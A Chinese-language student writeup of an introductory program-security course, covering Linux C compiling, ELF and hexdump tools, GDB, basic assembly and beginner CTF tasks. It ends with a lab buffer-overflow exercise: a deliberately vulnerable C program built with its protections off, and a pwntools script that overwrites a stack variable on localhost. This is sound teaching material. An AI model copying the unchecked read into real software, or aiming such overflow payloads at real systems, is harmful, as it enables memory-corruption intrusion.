# SecurityFocus Online -程式安全入門課程
筆記 & 練習題writeup
因為我是自己的虛擬機,這裡證明以使用者yiwen取代echo yiwen
筆記記一些我不熟或新學到的
**JMGSH y1w3n
2024.01.31**
---
關於課程
這次課程為線上形式,分成2天,在課程中我們能學到如何在Linux環境中寫程式並編譯執行及利用分析執行檔,課程中程式語言以C語言為主,有C語言的基礎後進到組合語言,介紹幾款逆向工具並操作(gdb、radare2、ghidra),最後用以上學到的技巧完成PWNBuffer overflow 的題目。
[課程github連結](https://github.com/MyFirstSecurity2020/ProgSec/tree/main?tab=readme-ov-file)
---
OUTLINE
[TOC]
## 一. Linux C 程式設計
### 1. 編譯執行
* ``gedit c1.c`` : 創建名為c1.c的檔案(會跳出可以輸入程式碼的地方)
* ``gcc c1.c -o c1`` : 編譯檔案,創建名為c1的執行檔
* ``./c1`` : 執行名為c1的執行檔

* 編譯並執行結果 :

### 2. 格式化輸出
```gcc=
#include <stdio.h>
#include <math.h>
int main()
{
float a = 1.0, b = 6.0, c=4.0;
printf ("%.4f", sqrt(a+b*c)); //sqrt開根號
return 0;
}
```
* 編譯並執行結果
* 無法編譯?

* 因為Linux系統預設不會自己自動連結``math.h``函式庫,所以要使用``-lm``連接
* 編譯成功

* 修改看看第7行``"%.4f"``看輸出什麼
* ``%.f`` : 5
* ``%.7f`` : 5.0000000
### 3. 遞增遞減
```gcc=
#include <stdio.h>
int main()
{
int a = 11111, b = 22222;
printf("%d", (a++)+(++b));
return 0;
}
```
* ``a++`` 跟``++a``差別
* ``a++`` : 會先執行整個敘述後再將a的值加1
* ``++a`` : 先把a的值加1,再執行整個敘述
### 4. ``? :`` 運算子(三元運算子)
```gcc=
#include<stdio.h>
int main()
{
int num;
printf("請輸入一個正整數 : ");
scanf("%d",&num);
(num%2==0)?printf("偶數"):printf("奇數");
//要是num%2等於0就輸出偶數,否則輸出奇數
}
```
* 編譯並執行結果

### 5. HW
* Q1 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int x;
float y;
for (x=0, y=50; x<25; x+=5, y/=2)
printf("x=%d, y=%4.2f\n", x, y);
return 0;
}
```
* A1:
* 直接執行

* 因為迴圈在``x<25``之前會一直執行,輸出為當前x值和y值,每執行完1次x就+5、y除2
---
* Q2 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
int i, sum = 2, prm = atoi(argv[1]);
for(i = 3; i < prm; i++)
{
int j;
int flag = 1;
for(j = i - 1; j > 1; j--)
{
if(i % j == 0)
{
flag = 0;
break;
}
}
if(flag == 1)
sum += i;
}
printf("The sum is: %d\n", sum);
}
```
* A2 :
* (輸入) : (輸出)
* 0~3 : 2
* 4、5 : 5
* 6、7 : 10
* 8、9 : 17
* 因為prm的值來自輸入參數,prm要大於3 for迴圈才會執行,否則sum會輸出2,當輸入為4的時候第7行的for迴圈執行1次,這時候j=2,2>1,所以會執行第11行的for迴圈,但3 % 2 != 0,不符合if條件所以不執行,再來for迴圈的j變成1不符合j>1所以for迴圈不會執行,最後因為flag等於1所以sum=2+3=5,後面以此類推
---
* Q3 : 底下輸出結果是多少? and why?
```gcc=
#include <stdio.h>
int main(int argc, char *argv[])
{
int i, sum = 0;
for(i = 0; i < 100; i++)
{
if(i % 3 == 0 && i % 2 == 0)
sum += i;
}
printf("The sum is: %d\n", sum);
return 0;
}
```
* A3 :
* 輸出 : **The sum is: 816**
* 因為第一個for迴圈會執行100次,要是為3跟2的公倍數時總和就加那個數所以是6+12+18+24+30+36+42+48+54+60+66+72+78+84+90+96=816
---
* Q4 : 底下輸出結果是多少? and why?
```gcc=
#include<stdio.h>
void main(void){
int k=0, total=0;
while(k<=16){
if(k % 4 != 0){
k++;
continue;
}
total +=k;
k++;
}
printf("Total=%d\n", total);
}
```
* A4 :
* 輸出 : **Total=40**
* 因為如果k不是 4 的倍數,則k+1並跳過循環的其餘部分。如果k是 4 的倍數,total+k、k+1
---
* Q5 : 使用遞迴函數方式計算費式序列Fibonacci Serie
* 因為答案在github已經秀出來了所以我用迴圈解
* writeup :

## 二. Linux 執行檔分析
### readelf工具

* 用於顯示有關 ELF(可執行和可連結格式)檔案的資訊。
* ``` readelf -h /bin/ls```: 顯示 /bin/ls 二進位檔案的 ELF 表頭(ELF Header)

* ``` readelf -S /bin/ls```: 顯示有關 ELF 檔案中每個sections的詳細資訊

* ```readelf -s /bin/ls```: 符號表包含有關二進位檔案中使用的符號的信息,包括函數和變數

* ```readelf -d /bin/ls```:動態連結訊息,包括共享庫依賴項和版本控制詳細資訊

* ```readelf -l /bin/ls```:二進位檔案中段的佈局

* ```readelf -x .text /bin/ls```:檢查 .text 部分

* ```readelf --dyn-syms /bin/ls```:列印動態符號

### objdump工具
* 可以使用指令對目標檔案或執行檔進行反編譯,以一種可閱讀形式讓我們了解二進位檔案可能帶有的附加資訊
* 範例 helloYIWEN.c
```gcc=
#include <stdio.h>
int main()
{
printf("Hello YIWEN\n ”);
return 0;
}
```
* 編譯 gcc -o helloYIWEN helloYIWEN.c -g
* ```objdump -h helloYIWEN``` : 顯示section headers

* ```objdump -S helloYIWEN```: 使用att格式反編譯(預設:使用AT&T語法)
* main
* 
* ```objdump -S -M intel helloYIWEN``` : 使用intel格式反編譯
* AT&T 格式中,暫存器名要加上 '%' 作為字首;而在 Intel 彙編格式中,暫存器名不需要加字首
* 

* ```objdump -S -j .text -M intel helloYIWEN```

* ```objdump -S -j .text -M intel helloYIWEN --no-show-raw-insn ```
* 不顯示機器指令 ==> --no-show-raw-insn

### HW
* 參考底下[文章](https://www.geeksforgeeks.org/hexdump-command-in-linux-with-examples/)完成測試報告
:::spoiler 報告打開這裡
* 測試報告:
* 我創建了一個叫HW的檔案作為這次的分析目標

* ``hd -b HW`` : 一位元組八進位顯示。以十六進位顯示輸入偏移量

* ``hd -c HW`` : 十六進位,字會對照在底下

* ``hd -C HW`` : 十六進位 + ASCII code

* ``hd -d HW`` : 兩位元組十進位顯示

* ``hd -n <length> HW`` : 顯示前n個字元

* ``hd -o HW`` : 二位元組八進位顯示

* ``hd -s <offset> HW`` : 少顯示前n個字元

* ``hd -v HW`` : 顯示所有輸入資料

* ``hd -x HW`` : 兩位元組十六進位顯示

:::
#### CTF練習題
* hexedit
* 用``strings <filename> | grep <關鍵字> ``

* FLAG : **easyctf{ffee0779}**
* networkingOK.pcap
* 法一 : 因為是網路封包所以用wireshark打開
* 點第一個封包 -> follow -> tcp stream

* 法二 : 用string

* FLAG : **flag{d316759c281bf925d600be698a4973d5}**
## 三. Linux 組合程式設計
```asm=
; hello.asm
section .data
msg db "hello, CTFer",0
section .bss
section .text
global main
main:
mov rax, 1 ; 1 = write
mov rdi, 1 ; 1 = to stdout
mov rsi, msg ; string to display in rsi
mov rdx, 12 ; length of the string, without 0
syscall ; display the string
mov rax, 60 ; 60 = exit
mov rdi, 0 ; 0 = success exit code
syscall ; quit
```
* 組合語言就是對暫存器下指令
| %rax | syscall | %rdi | %rsi | %rdx|
| ---- | ------- | ---- |------|-----|
| 1 | sys_write |unsigned int fd | char *buf | size_t count|
| 60 |sys_exit | int error_code |
* 使用myCompiler線上編譯

* **C語言的一行在組合語言會變得很長**
---
### GDB教材導讀

#### 使用 gdb 分析hello執行檔
* ``gdb hello`` :

* ``list`` : 列出組合語言

* ``run`` : 執行

* ``quit`` : 離開

* ``set disassembly-flavor intel`` : 讓GDB可以去竄改hello檔(intel語法格式)
* ``disassemble main`` : 反組譯main

* `` x/c 0x404028`` : x->看、c->字元

* `` x/10 0x404028`` : 看10個

* `` x/s 0x404028`` : 看整個字串

* ``break main`` : 設定中斷點在main

* ``i r`` : 看暫存器目前存的東西 rip存的就是下一個要執行的

## 四. 逆向工程入門
### 我的第一個PWN實測:Buffer overflow(緩衝區溢位)
#### pass.c
```gcc=
#include"stdio.h"
#include"stdlib.h"
int main(){
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
int token = 1234;
char key[16];
printf("Billy left his key in the locked room.\n");
printf("However, he forgot the token of the room.\n");
printf("Do you know what's the key?");
read(0, key, 40);
if((int)token == 0xdeadbeef){
printf("Door open. OwO\n");
system("cat ./flag");
}else{
printf("Cannot open door. QwQ\n");
}
return 0;
}
```
* ``gcc -fno-stack-protector -z execstack pass.c -o pass -no-pie`` : 編譯
* ``-fno-stack-protector`` : 沒有stack保護
* ``-z execstack`` : 讓stack可以執行
* ``socat TCP-LISTEN:1988,fork EXEC:'./pass'`` : 建立伺服器端

#### 攻擊者端
* 看到pass.c第15行讀了40個但key只有16個,這裡有一個漏洞叫Buffer overflow
* 當讀取的字串長度超過了分配的記憶體大小會怎麼樣?
* 會把後面的記憶體空間覆寫過去
* 就可以竄改 return address,掌控程式的運作流程
* 使用``pwn checksec pass``看到它stack沒有保護

* 用r2下去看,分析完後用``afl``看函數

* 然後跳到main : ``s main``
* 用``VV``打開可視化界面

* ``jne 0x40127b`` : 跟0xdeadbeef不一樣的話就跳到0x40127b -> Cannot open door. QwQ

* 設了兩個變數
* 代表有一個save rbp
* local_20h : char key[16]
* local_4h : int token


* 存入1234
* 要把1234蓋掉變成0xdeadbeef
* 要填入多少才能蓋掉?
* 0x20 - 0x4 = 32 - 4 = 28
#### slove. py
```
from pwn import *
# r = process('./pass')
# r = remote('120.114.62.210',6125)
r = remote('localhost',1988)
payload = b'A'*28
r.sendline(payload+ p64(0xdeadbeef))
r.interactive()
```

* FLAG : **MyFirstProgSegCTF{Have a GoOd dAY!}**
### 延伸學習
用逆向的技巧解臺大電腦安全的題目(linux環境使用,radare2、ghidra、IDA)
[簡報](https://www.canva.com/design/DAF6UzXJVMY/Cwgp6hPTBTKOEzPa31Ypng/edit?utm_content=DAF6UzXJVMY&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton)